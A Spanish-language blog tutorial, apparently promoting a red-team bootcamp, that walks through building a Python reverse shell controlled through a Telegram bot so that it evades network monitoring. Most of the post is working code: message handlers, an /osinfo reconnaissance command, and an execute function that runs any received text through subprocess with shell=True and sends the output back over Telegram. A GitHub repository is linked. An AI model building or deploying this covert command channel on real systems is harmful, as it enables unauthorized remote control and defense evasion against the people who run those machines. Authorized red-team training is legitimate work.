A la hora de gestionar los sistemas comprometidos en un ejercicio de Red team, es importante evadir los sistemas de defensa de la red, siempre se tiende a ejecutar reverse shells simples con netcat sin cifrar lo cual deja un gran rastro en la red ya que se pueden ver los comandos ejecutados e incluso las respuestas. En este caso vamos a utilizar una aplicación convencional de mensajería (Telegram) para ejecutar los comandos remotos, puesto que va cifrado y no son conexión frecuentemente bloqueadas. Vamos a programarlo en Python y vamos a hacer que sea multiplataforma wrapeando las librerías para que se necesite solamente Python instalado en el sistema.
Antes de nada, me gustaría comentar que quiero orientar este post, de forma que cualquier persona sea capaz de crear su propio bot y de entender cómo funciona partiendo de ejemplos básicos.
¡Vamos a ello!
Primero, vamos a crear nuestro bot, con botfather, solamente tenemos que meternos en telegram y buscar el usuario @BotFather, ejecutamos /newBot y nos pedira un nombre, os aconsejo poner nombres aleatorios, puesto que vamos a tener control total de una maquina desde el chat, aunque restringiremos el poder ejecutar comandos solamente desde una lista de IDs de Telegram en concreto.
Una vez creado, tenemos que guardar el token que nos devuelve, ya que es nuestro método de autenticación para el bot.
Segundo, vamos a buscar la librería que vamos a utilizar en la programación del bot, en este caso vamos a utilizar una de las más conocidas, “Python-telegram-bot”, lo instalaremos con pip:
pip3 install python-telegram-bot
Si vamos al GitHub del creador, encontraremos una carpeta «Examples» donde podemos encontrar ejemplos concretos del uso de la librería, nos vamos aprovechar de los ejemplos ya creado para poder agilizar el trabajo e ir directos al grano.
De los ejemplos que hay, el que más se puede parecer es el «echo bot», puesto que la funcionalidad es la misma, solo habría que cambiar la función de echo.
El código lo puedes encontrar aquí, pero nos vamos a centrar en los elementos imporantes.
Nos fijamos en como recibe las llamadas o comandos con «/», a través de las siguientes instrucciones:
dispatcher.add_handler(CommandHandler("start", start))
dispatcher.add_handler(CommandHandler("help", help_command))
esto quiere decir que si ponemos /start, va a ejecutar la funcion start que es la siguiente
"""Send a message when the command /start is issued."""
user = update.effective_user
update.message.reply_markdown_v2(
fr'Hi {user.mention_markdown_v2()}!',
reply_markup=ForceReply(selective=True),
)
que básicamente devuelve un ‘Hi, {nombre de usuario}’. Y si enviamos un /help, llamará a la función help que es la siguiente
def help_command(update: Update, context: CallbackContext) -> None:
"""Send a message when the command /help is issued."""
update.message.reply_text('Help!')
que devuelve un mensaje no es para nada de ayuda…
Sin embargo, para analizar los mensajes que no son comandos, usa otra instrucción
dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))
que llama a la función echo
def echo(update: Update, context: CallbackContext) -> None:
"""Echo the user message."""
update.message.reply_text(update.message.text)
cada vez que el bot recibe una string que no es un comando (O que no empieza por «/») devuelve la misma string, lo que vamos a hacer es cambiar esta función por una que haga lo que queremos, en este caso ejecutar comandos y devolver el output, para ellos utilizaremos la libreria subprocess.
Con subprocess vamos a poder ejecutar comandos independientemente del sistema operativo donde se ejecute, puesto que vamos a ser nosotros los que decidiremos el comando a ejecutar, el programa solo se va a limitar a ejecutar la string introducida y devolvernos el output, por si acaso, decidí crear una pequeña función que nos devuelve información sobre el sistema operativo invitado, por si desconocemos donde está corriendo o tenemos varios y queremos saber donde está, para ello he creado el comando «/osinfo» que lo llamaremos de la siguiente forma
dispatcher.add_handler(CommandHandler("osinfo", osinfo))
y llama a la función «osinfo» con el siguiente código
def osinfo(update: Update, context: CallbackContext) -> None:
update.message.reply_text("System: "+platform.uname()[0]+"n"+"Node: "+platform.uname()[1]+"n"+"Release: "+platform.uname()[2]+"n"+"Version: "+platform.uname()[3]+"n"+"Machine: "+platform.uname()[4]+"n"+"Processor: "+platform.uname()[5])
solamente utiliza la librería platform para llamara a la función uname() y devolver toda la información sobre sistema, nombre, release, versión… Y lo hemos puesto bonito para que sea legible.
El siguiente paso es modificar la función echo, la he renombrado como «execute» donde ejecuta el comando con subprocess de la siguiente forma
p = subprocess.run(update.message.text.split(" "), shell=True, capture_output=True)
out=p.stdout #Este es el output del comando
aquí hay un detalle importante y es el hecho de tener que crear una lista con el comando y los argumentos a ejecutar, queda algo mas o menos así si lo ejecutamos directamente desde Python
y he tenido que darle un par de toques más puesto que si ejecutabas comandos con una respuesta mayor a 4096 caracteres daba un error «Message is too long«, por lo tanto, compruebo si el mensaje es superior a 4090 caracteres y en caso afirmativo divido la salida en mensajes de máximo 4090 caracteres con la siguiente función
def chunkstring(string,length):a
return (string[0 + i:length + i] for i in range(0, len(string), length))
y voy mandando los mensajes
for element in list(chunkstring(out,4090)):
update.message.reply_text(element.decode("latin-1"))
la función entera quedaría así.
def execute(update: Update, contect:CallbackContext) -> None:
print(update.message.text.split(" "))
user = update.message.from_user
print(user.id)
if str(user.id) in idList:
try:
p = subprocess.run(update.message.text.split(" "), shell=True, capture_output=True)
out=p.stdout
if int(len(out)) < 4090:
update.message.reply_text(out.decode("latin-1"))
else:
for element in list(chunkstring(out,4090)):
update.message.reply_text(element.decode("latin-1"))
except Exception as e:
print(e)
update.message.reply_text("<b>Command error.</b>", parse_mode="html")
else:
update.message.reply_text("<b>Command error.</b>", parse_mode="html")
ejecutando el bot desde la máquina objetivo quedaría algo así
ejecutando comandos
si ejecutamos comandos con outputs muy largos, vemos como separa directamente la salida
Puedes revisar el código entero en mi Github, https://github.com/kheabrosec/telegramReverseShell
Si te ha encantado este artículo y te apasiona la ciberseguridad, no te puedes perder el bootcamp de Red Team de la mano de nuestro profe Enrique Lauroba, experto en ciberseguridad.
¡Hasta la próxima!